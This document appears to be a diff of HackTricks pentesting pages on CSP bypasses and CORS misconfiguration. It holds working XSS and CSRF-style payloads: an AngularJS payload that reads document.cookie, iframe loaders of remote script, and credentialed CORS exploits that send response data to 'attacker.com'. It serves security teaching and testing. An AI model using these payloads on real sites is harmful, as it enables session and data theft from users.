||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
|
||||
This snippet highlights the usage of the `ng-focus` directive to trigger the event, employing `$event.path|orderBy` to manipulate the `path` array, and leveraging the `window` object to execute the `alert()` function, thereby revealing `document.cookie`.
|
||||
|
||||
**Find other Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS and whitelisted domain
|
||||
|
@ -390,7 +406,8 @@ Depending on the specific policy, the CSP will block JavaScript events. However,
|
|||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
|
||||
If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable classes. For more details visit this awesome [git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) repo.
|
||||
A CSP policy that whitelists domains for script loading in an Angular JS application can be bypassed through the invocation of callback functions and certain vulnerable classes. Further information on this technique can be found in a detailed guide available on this [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
|
||||
Working payloads:
|
||||
|
||||
|
@ -494,7 +511,8 @@ This time you can make the victim **load** a page in **your control** via **XSS*
|
|||
|
||||
This time a **flag** is going to be extracted, whenever a **char is correctly guessed** via SQLi the **response** takes **more time** due to the sleep function. Then, you will be able to extract the flag:
|
||||
|
||||
```javascript
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
|
||||
<script>
|
||||
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
|
||||
|
@ -593,24 +611,24 @@ For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-
|
|||
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
||||
```
|
||||
|
||||
### Leaking Information CSP + Iframe
|
||||
### Leaking Information with CSP and Iframe
|
||||
|
||||
Imagine a situation where a **page is redirecting** to a different **page with a secret depending** on the **user**. For example, the user **admin** accessing **redirectme.domain1.com** is redirected to **adminsecret321.domain2.com** and you can cause an XSS to the admin.\
|
||||
**Also pages that are redirected aren't allowed by the security policy, but the page that redirects is.**
|
||||
- An `iframe` is created that points to a URL (let's call it `https://example.redirect.com`) which is permitted by CSP.
|
||||
- This URL then redirects to a secret URL (e.g., `https://usersecret.example2.com`) that is **not allowed** by CSP.
|
||||
- By listening to the `securitypolicyviolation` event, one can capture the `blockedURI` property. This property reveals the domain of the blocked URI, leaking the secret domain to which the initial URL redirected.
|
||||
|
||||
You can leak the domain where the admin is redirected through:
|
||||
It's interesting to note that browsers like Chrome and Firefox have different behaviors in handling iframes with respect to CSP, leading to potential leakage of sensitive information due to undefined behavior.
|
||||
|
||||
* **through CSP violation**
|
||||
* **through CSP rules.**
|
||||
Another technique involves exploiting the CSP itself to deduce the secret subdomain. This method relies on a binary search algorithm and adjusting the CSP to include specific domains that are deliberately blocked. For example, if the secret subdomain is composed of unknown characters, you can iteratively test different subdomains by modifying the CSP directive to block or allow these subdomains. Here’s a snippet showing how the CSP might be set up to facilitate this method:
|
||||
|
||||
The CSP violation is an instant leak. All that needs to be done is to load an iframe pointing to `https://redirectme.domain1.com` and listen to `securitypolicyviolation` event which contains `blockedURI` property containing the domain of the blocked URI. That is because the `https://redirectme.domain1.com` (allowed by CSP) redirects to `https://adminsecret321.domain2.com` (**blocked by CSP**). This makes use of undefined behavior of how to handle iframes with CSP. Chrome and Firefox behave differently regarding this.
|
||||
|
||||
When you know the characters that may compose the secret subdomain, you can also use a binary search and check when the CSP blocked the resource and when not creating different forbidden domains in the CSP (in this case the secret can be in the form doc-X-XXXX.secdrivencontent.dev)
|
||||
|
||||
```
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
|
||||
By monitoring which requests are blocked or allowed by the CSP, one can narrow down the possible characters in the secret subdomain, eventually uncovering the full URL.
|
||||
|
||||
Both methods exploit the nuances of CSP implementation and behavior in browsers, demonstrating how seemingly secure policies can inadvertently leak sensitive information.
|
||||
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -755,6 +773,8 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
|
||||
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
|
||||
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
||||
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -16,34 +16,34 @@ Other ways to support HackTricks:
|
|||
|
||||
## What is CORS?
|
||||
|
||||
The CORS (Cross-origin resource sharing) standard is needed because it **allows servers to specify who can access its assets** and which **HTTP request methods are allowed** from external resources.
|
||||
Cross-Origin Resource Sharing (CORS) standard **enables servers to define who can access their assets** and **which HTTP request methods are permitted** from external sources.
|
||||
|
||||
A **same-origin** policy, requiers that both the **server requesting** a resource and the server where the **resource** is located uses the same protocol ([http://),domain](http://\),domain) name (internal-web.com) and the same **port** (80). Then, if the server forces the same-origin policy, only web pages from the same domain and port will be able to access the resources.
|
||||
A **same-origin** policy mandates that a **server requesting** a resource and the server hosting the **resource** share the same protocol (e.g., `http://`), domain name (e.g., `internal-web.com`), and **port** (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources.
|
||||
|
||||
The following table shows how the same-origin policy will be applied in `http://normal-website.com/example/example.html` :
|
||||
The application of the same-origin policy in the context of `http://normal-website.com/example/example.html` is illustrated as follows:
|
||||
|
||||
| URL accessed | Access permitted? |
|
||||
| ----------------------------------------- | ---------------------------------- |
|
||||
| `http://normal-website.com/example/` | Yes: same scheme, domain, and port |
|
||||
| `http://normal-website.com/example2/` | Yes: same scheme, domain, and port |
|
||||
| `https://normal-website.com/example/` | No: different scheme and port |
|
||||
| `http://en.normal-website.com/example/` | No: different domain |
|
||||
| `http://www.normal-website.com/example/` | No: different domain |
|
||||
| `http://normal-website.com:8080/example/` | No: different port\* |
|
||||
| `http://normal-website.com/example/` | Yes: Identical scheme, domain, and port |
|
||||
| `http://normal-website.com/example2/` | Yes: Identical scheme, domain, and port |
|
||||
| `https://normal-website.com/example/` | No: Different scheme and port |
|
||||
| `http://en.normal-website.com/example/` | No: Different domain |
|
||||
| `http://www.normal-website.com/example/` | No: Different domain |
|
||||
| `http://normal-website.com:8080/example/` | No: Different port* |
|
||||
|
||||
\*_Internet Explorer will allow this access because IE does not take account of the port number when applying the same-origin policy._
|
||||
*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.
|
||||
|
||||
### `Access-Control-Allow-Origin` Header
|
||||
|
||||
The specification of `Access-Control-Allow-Origin` allows for **multiple origins**, or the value **`null`**, or the wildcard **`*`**. However, **no browser supports multiple origins** and there are **restrictions** on the use of the **wildcard** `*`.(_The wildcard can only be used alone, this will fail `Access-Control-Allow-Origin: https://*.normal-website.com` and it cannot be used with_ _Access-Control-Allow-Credentials: true_)
|
||||
This header can allow **multiple origins**, a **`null`** value, or a wildcard **`*`**. However, **no browser supports multiple origins**, and the use of the wildcard `*` is subject to **limitations**. (The wildcard must be used alone, and its use alongside `Access-Control-Allow-Credentials: true` is not permitted.)
|
||||
|
||||
This header is **returned by a server** when a website requests a cross-domain resource, with an `Origin` header added by the browser.
|
||||
This header is **issued by a server** in response to a cross-domain resource request initiated by a website, with the browser automatically adding an `Origin` header.
|
||||
|
||||
### `Access-Control-Allow-Credentials` Header
|
||||
|
||||
The **default** behaviour of cross-origin resource requests is for **requests** to be **passed without credentials** like cookies and the Authorization header. However, the cross-domain server can **permit reading** of the **response** when **credentials** are **passed** to it by setting the CORS **`Access-Control-Allow-Credentials`** header to **`true`**.
|
||||
By **default**, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the `Access-Control-Allow-Credentials` header to **`true`**.
|
||||
|
||||
If the value is set to `true`then the browser will send credentials (cookies, authorization headers or TLS client certificates).
|
||||
If set to `true`, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates).
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -72,72 +72,62 @@ xhr.onreadystatechange = handler;
|
|||
xhr.send('<person><name>Arun</name></person>');
|
||||
```
|
||||
|
||||
### Pre-flight request
|
||||
### CSRF Pre-flight request
|
||||
|
||||
Under certain circumstances, when a cross-domain request:
|
||||
### Understanding Pre-flight Requests in Cross-Domain Communication
|
||||
|
||||
* includes a **non-standard HTTP method (HEAD, GET, POST)**
|
||||
* includes new **headers**
|
||||
* includes special **Content-Type header value**
|
||||
When initiating a cross-domain request under specific conditions, such as using a **non-standard HTTP method** (anything other than HEAD, GET, POST), introducing new **headers**, or employing a special **Content-Type header value**, a pre-flight request may be required. This preliminary request, leveraging the **`OPTIONS`** method, serves to inform the server of the forthcoming cross-origin request's intentions, including the HTTP methods and headers it intends to use.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Check** [**in this link**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **the conditions of a request to avoid sending of a pre-flight request**
|
||||
{% endhint %}
|
||||
The **Cross-Origin Resource Sharing (CORS)** protocol mandates this pre-flight check to determine the feasibility of the requested cross-origin operation by verifying the allowed methods, headers, and the trustworthiness of the origin. For a detailed understanding of what conditions circumvent the need for a pre-flight request, refer to the comprehensive guide provided by [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
|
||||
|
||||
the cross-origin request is preceded by a **request** using the **`OPTIONS`** **method**, and the CORS protocol necessitates an initial check on what **methods and headers are permitted prior to allowing the cross-origin request**. This is called the **pre-flight check**. The server **returns a list of allowed methods** in addition to the **trusted origin** and the browser checks to see if the requesting website's method is allowed.
|
||||
It's crucial to note that the **absence of a pre-flight request does not negate the requirement for the response to carry authorization headers**. Without these headers, the browser is incapacitated in its ability to process the response from the cross-origin request.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Note that **even if a pre-flight request isn't sent** because the "regular request" conditions are respected, the **response needs to have the authorization headers** or the **browser** **won't be able to read the response** of the request.
|
||||
{% endhint %}
|
||||
|
||||
For **example**, this is a pre-flight request that is seeking to **use the `PUT` method** together with a **custom** request **header** called `Special-Request-Header`:
|
||||
Consider the following illustration of a pre-flight request aimed at employing the `PUT` method along with a custom header named `Special-Request-Header`:
|
||||
|
||||
```
|
||||
OPTIONS /data HTTP/1.1
|
||||
Host: <some website>
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
...
|
||||
Origin: https://normal-website.com
|
||||
Access-Control-Request-Method: PUT
|
||||
Access-Control-Request-Headers: Special-Request-Header
|
||||
Origin: https://example.com
|
||||
Access-Control-Request-Method: POST
|
||||
Access-Control-Request-Headers: Authorization
|
||||
```
|
||||
|
||||
The server might return a response like the following:
|
||||
In response, the server might return headers indicating the accepted methods, the allowed origin, and other CORS policy details, as shown below:
|
||||
|
||||
```
|
||||
```markdown
|
||||
HTTP/1.1 204 No Content
|
||||
...
|
||||
Access-Control-Allow-Origin: https://normal-website.com
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Methods: PUT, POST, OPTIONS
|
||||
Access-Control-Allow-Headers: Special-Request-Header
|
||||
Access-Control-Allow-Headers: Authorization
|
||||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Max-Age: 240
|
||||
```
|
||||
|
||||
* `Access-Control-Allow-Headers` Allowed headers
|
||||
* `Access-Control-Expose-Headers`
|
||||
* `Access-Control-Max-Age` Defines a maximum timeframe for caching the pre-flight response for reuse
|
||||
* `Access-Control-Request-Headers` The header the cross-origin request wants to send
|
||||
* `Access-Control-Request-Method` The method the cross-origin request wants to use
|
||||
* `Origin` Origin of the cross-origin request (Set automatically by the browser)
|
||||
- **`Access-Control-Allow-Headers`**: This header specifies which headers can be used during the actual request. It is set by the server to indicate the allowed headers in requests from the client.
|
||||
- **`Access-Control-Expose-Headers`**: Through this header, the server informs the client about which headers can be exposed as part of the response besides the simple response headers.
|
||||
- **`Access-Control-Max-Age`**: This header indicates how long the results of a pre-flight request can be cached. The server sets the maximum time, in seconds, that the information returned by a pre-flight request may be reused.
|
||||
- **`Access-Control-Request-Headers`**: Used in pre-flight requests, this header is set by the client to inform the server about which HTTP headers the client wants to use in the actual request.
|
||||
- **`Access-Control-Request-Method`**: This header, also used in pre-flight requests, is set by the client to indicate which HTTP method will be used in the actual request.
|
||||
- **`Origin`**: This header is automatically set by the browser and indicates the origin of the cross-origin request. It is used by the server to assess whether the incoming request should be allowed or denied based on the CORS policy.
|
||||
|
||||
![](../.gitbook/assets/preflight.svg)
|
||||
|
||||
Note that usually (depending on the content-type and headers set) in a **GET/POST request no pre-flight request is sent** (the request is sent **directly**), but if you want to access the **headers/body of the response**, it must contains an _Access-Control-Allow-Origin_ header allowing it.\
|
||||
**Therefore, CORS doesn't protect against CSRF (but it can be helpful).**
|
||||
|
||||
### **Local Network Requests Pre-flight request**
|
||||
|
||||
When a request is sent to a local network IP address, 2 additional CORS headers are sent:
|
||||
1. **`Access-Control-Request-Local-Network`**: This header is included in the client's request to signify that the inquiry is aimed at a local network resource. It serves as a marker to inform the server that the request originates from within the local network.
|
||||
|
||||
* The `Access-Control-Request-Local-Network` client request header indicates that the request is a local network request
|
||||
* The `Access-Control-Allow-Local-Network` server response header indicates that a resource can be safely shared with external networks
|
||||
2. **`Access-Control-Allow-Local-Network`**: In response, servers utilize this header to communicate that the requested resource is permitted to be shared with entities outside of the local network. It acts as a green light for sharing resources across different network boundaries, ensuring controlled access while maintaining security protocols.
|
||||
|
||||
A **valid response allowing the local network request** needs to have also in the response the header `Access-Controls-Allow-Local_network: true` :
|
||||
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
Access-Control-Allow-Origin: https://public.example.com
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
Access-Control-Allow-Methods: GET
|
||||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Allow-Local-Network: true
|
||||
|
@ -155,47 +145,42 @@ It's also possible to **bypass the Local Network requirements** if you use the *
|
|||
|
||||
## Exploitable misconfigurations
|
||||
|
||||
Notice that most of the **real attacks require `Access-Control-Allow-Credentials`** to be set to **`true`** because this will allow the browser to send the credentials and read the response. Without credentials, many attacks become irrelevant; it means you can't ride on a user's cookies, so there is often nothing to be gained by making their browser issue the request rather than issuing it yourself.
|
||||
It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible.
|
||||
|
||||
One notable exception is when the **victim's network location functions as a kind of authentication.** You can use a victim’s browser as a proxy to bypass IP-based authentication and access intranet applications. In terms of impact this is similar to DNS rebinding, but much less fiddly to exploit.
|
||||
### Exception: Exploiting Network Location as Authentication
|
||||
|
||||
### Reflected `Origin` in `Access-Control-Allow-Origin`
|
||||
An exception exists where the victim's network location acts as a form of authentication. This allows for the victim's browser to be used as a proxy, circumventing IP-based authentication to access intranet applications. This method shares similarities in impact with DNS rebinding but is simpler to exploit.
|
||||
|
||||
In the real world this cannot happen as **these 2 values of the headers are forbidden together**.\
|
||||
It is also true that a lot of developers want to **allow several URLs in the CORS**, but subdomain wildcards or lists of URLs aren't allowed. Then, several developers **generate** the \*\*`Access-Control-Allow-Origin`\*\*header **dynamically**, and in more than one occasion they just **copy the value of the Origin header**.
|
||||
### Reflection of `Origin` in `Access-Control-Allow-Origin`
|
||||
|
||||
In that case, the **same vulnerability might be exploited.**
|
||||
|
||||
In other cases, the developer could check that the **domain** (_victimdomain.com_) **appears** in the **Origin header**, then, an attacker can use a domain called **`attackervictimdomain.com`** to steal the confidential information.
|
||||
The real-world scenario where the `Origin` header's value is reflected in `Access-Control-Allow-Origin` is theoretically improbable due to restrictions on combining these headers. However, developers seeking to enable CORS for multiple URLs may dynamically generate the `Access-Control-Allow-Origin` header by copying the `Origin` header's value. This approach can introduce vulnerabilities, particularly when an attacker employs a domain with a name designed to appear legitimate, thereby deceiving the validation logic.
|
||||
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
|
||||
req.open('get','https://example.com/details',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='/log?key='+this.responseText;
|
||||
};
|
||||
</script>
|
||||
```
|
||||
|
||||
### The `null` Origin
|
||||
### Exploiting the `null` Origin
|
||||
|
||||
`null` is a special value for the **Origin** header. The specification mentions it being triggered by redirects, and local HTML files. Some applications might whitelist the `null` origin to support local development of the application.\
|
||||
This is nice because **several application will allow this value** inside the CORS and any **website can easily obtain the null origin using a sandboxed iframe**:
|
||||
The `null` origin, specified for situations like redirects or local HTML files, holds a unique position. Some applications whitelist this origin to facilitate local development, inadvertently allowing any website to mimic a `null` origin through a sandboxed iframe, thus bypassing CORS restrictions.
|
||||
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.open('get','https://example/details',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
|
@ -204,89 +189,92 @@ This is nice because **several application will allow this value** inside the CO
|
|||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.open('get','https://example/details',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
|
||||
### **Regexp bypasses**
|
||||
### Regular Expression Bypass Techniques
|
||||
|
||||
If you found the domain _victim.com_ to be **whitelisted** you should check if _victim.com.**attacker.com**_ is **whitelisted also**, or, in case you can **takeover some subdomain**, check if _**somesubdomain**.victim.com_ is whitelisted.
|
||||
When encountering a domain whitelist, it's crucial to test for bypass opportunities, such as appending the attacker's domain to a whitelisted domain or exploiting subdomain takeover vulnerabilities. Additionally, regular expressions used for domain validation may overlook nuances in domain naming conventions, presenting further bypass opportunities.
|
||||
|
||||
### **Advance Regexp bypasses**
|
||||
### Advanced Regular Expression Bypasses
|
||||
|
||||
Most of the regex used to identify the domain inside the string will focus on alphanumeric ASCII characters and `.-` . Then, something like `victimdomain.com{.attacker.com` inside the Origin header will be interpreted by the regexp as if the domain was `victimdomain.com` but the browser (in this case Safari supports this character in the domain) will access the domain`attacker.com` .
|
||||
|
||||
The `_` character (in subdomains) is not only supported in Safari, but also in Chrome and Firefox!
|
||||
|
||||
**Then, using one of those subdomains you could bypass some "common" regexps to find the main domain of a URL.**
|
||||
Regex patterns typically concentrate on alphanumeric, dot (.), and hyphen (-) characters, neglecting other possibilities. For example, a domain name crafted to include characters interpreted differently by browsers and regex patterns can bypass security checks. Safari, Chrome, and Firefox's handling of underscore characters in subdomains illustrates how such discrepancies can be exploited to circumvent domain validation logic.
|
||||
|
||||
**For more information and settings of this bypass check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **and** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![](<../.gitbook/assets/image (153).png>)
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)
|
||||
|
||||
### From XSS inside a subdomain
|
||||
|
||||
One defensive mechanism developers use against CORS exploitation is to white-list domains that frequently requests access for information. However, this isn’t entirely secure, because if even **one** of the subdomains of the **whitelisted** domain is **vulnerable** to other exploits such as **XSS**, it can enable CORS exploitation.
|
||||
Developers often implement defensive mechanisms to protect against CORS exploitation by whitelisting domains that are permitted to request information. Despite these precautions, the system's security is not foolproof. The presence of even a single vulnerable subdomain within the whitelisted domains can open the door to CORS exploitation through other vulnerabilities, such as XSS (Cross-Site Scripting).
|
||||
|
||||
Let us consider an example, the following code shows the configuration that allows subdomains of _requester.com_ to access resources of _provider.com_.
|
||||
To illustrate, consider the scenario where a domain, `requester.com`, is whitelisted to access resources from another domain, `provider.com`. The server-side configuration might look something like this:
|
||||
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
|
||||
{
|
||||
//Access data
|
||||
else{ // unauthorized access}
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
} else {
|
||||
// Unauthorized access
|
||||
}
|
||||
```
|
||||
|
||||
Assuming that a user has access to sub.requester.com but not requester.com, and assuming that `sub.requester.com` is vulnerable to XSS. The user can exploit `provider.com` by using cross-site scripting attack method.
|
||||
In this setup, all subdomains of `requester.com` are allowed access. However, if a subdomain, say `sub.requester.com`, is compromised with an XSS vulnerability, an attacker can leverage this weakness. For example, an attacker with access to `sub.requester.com` could exploit the XSS vulnerability to bypass CORS policies and maliciously access resources on `provider.com`.
|
||||
|
||||
|
||||
### **Server-side cache poisoning**
|
||||
|
||||
If the stars are aligned we may be able to use server-side cache poisoning via HTTP header injection to create a [stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored) vulnerability.
|
||||
**[From this research](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
|
||||
|
||||
If an application **reflects** the **Origin header** without even checking it for illegal characters like , we effectively have a **HTTP header injection vulnerability against IE/Edge users as Internet Explorer and Edge view \r (0x0d) as a valid HTTP header terminator**:`GET / HTTP/1.1`\
|
||||
`Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`
|
||||
It's possible that by exploiting server-side cache poisoning through HTTP header injection, a stored Cross-Site Scripting (XSS) vulnerability can be induced. This scenario unfolds when an application fails to sanitize the `Origin` header for illegal characters, creating a vulnerability particularly for Internet Explorer and Edge users. These browsers treat `\r` (0x0d) as a legitimate HTTP header terminator, leading to HTTP header injection vulnerabilities.
|
||||
|
||||
Internet Explorer sees the response as:
|
||||
Consider the following request where the `Origin` header is manipulated:
|
||||
|
||||
`HTTP/1.1 200 OK`\
|
||||
`Access-Control-Allow-Origin: z`\
|
||||
`Content-Type: text/html; charset=UTF-7`
|
||||
```text
|
||||
GET / HTTP/1.1
|
||||
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
|
||||
Internet Explorer and Edge interpret the response as:
|
||||
|
||||
```text
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
|
||||
While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.
|
||||
|
||||
For further reading on stored XSS vulnerabilities, see [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
**Note**: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.
|
||||
|
||||
This isn't directly exploitable because there's no way for an attacker to make someone's web browser send such a malformed header, but I can **manually craft this request in Burp Suite and a server-side cache may save the response and serve it to other people**. The payload I've used will change the page's character set to **UTF-7**, which is notoriously useful for creating XSS vulnerabilities.
|
||||
|
||||
### **Client-Side cache poisoning**
|
||||
|
||||
You may have occasionally encountered a page with [reflected XSS](https://portswigger.net/web-security/cross-site-scripting/reflected) in a custom HTTP header. Say a web page reflects the contents of a custom header without encoding:
|
||||
**[From this research](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
|
||||
|
||||
```http
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
X-User-id: <svg/onload=alert\(1\)>
|
||||
In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a `X-User-id` header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: \*
|
||||
Access-Control-Allow-Headers: X-User-id
|
||||
Content-Type: text/html
|
||||
...
|
||||
Invalid user: <svg/onload=alert\(1\)>\
|
||||
```
|
||||
Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser's cache behavior. If the `Vary: Origin` header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.
|
||||
|
||||
With CORS, we can send any value in the Header. By itself, **that's useless** since the response containing our **injected JavaScript won't be rendered**. However, **if Vary: Origin hasn't been specified** the response **may be stored in the browser's cache and displayed directly when the browser navigates to the associated URL**. I've made a fiddle to [attempt this attack on a URL of your choice](https://jsfiddle.net/3gk8u8wu/3/). Since this attack uses client-side caching, it's actually quite reliable.
|
||||
To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the `Vary: Origin` header.
|
||||
|
||||
```markup
|
||||
Here's a summarized breakdown of the JavaScript used to execute this attack:
|
||||
|
||||
```html
|
||||
<script>
|
||||
function gotcha() { location=url }
|
||||
var req = new XMLHttpRequest();
|
||||
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
|
||||
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
|
||||
req.onload = gotcha;
|
||||
req.open('get', url, true);
|
||||
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
|
||||
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
|
||||
req.send();
|
||||
</script>
|
||||
```
|
||||
|
@ -295,9 +283,11 @@ req.send();
|
|||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI designates a kind of vulnerability which exploits the fact that, when a resource is included using the `script` tag, the SOP doesn’t apply, because scripts have to be able to be included cross-domain. An attacker can thus read everything that was included using the `script` tag.
|
||||
XSSI, also known as Cross-Site Script Inclusion, is a type of vulnerability that takes advantage of the fact that the Same Origin Policy (SOP) does not apply when including resources using the script tag. This is because scripts need to be able to be included from different domains. This vulnerability allows an attacker to access and read any content that was included using the script tag.
|
||||
|
||||
This is especially interesting when it comes to dynamic JavaScript or JSONP when so-called ambient-authority information like cookies are used for authentication. The cookies are included when requesting a resource from a different host. BurpSuite plugin: [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)
|
||||
This vulnerability becomes particularly significant when it comes to dynamic JavaScript or JSONP (JSON with Padding), especially when ambient-authority information like cookies are used for authentication. When requesting a resource from a different host, the cookies are included, making them accessible to the attacker.
|
||||
|
||||
To better understand and mitigate this vulnerability, you can use the BurpSuite plugin available at [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). This plugin can help identify and address potential XSSI vulnerabilities in your web applications.
|
||||
|
||||
[**Read more about the difefrent types of XSSI and how to exploit them here.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
|
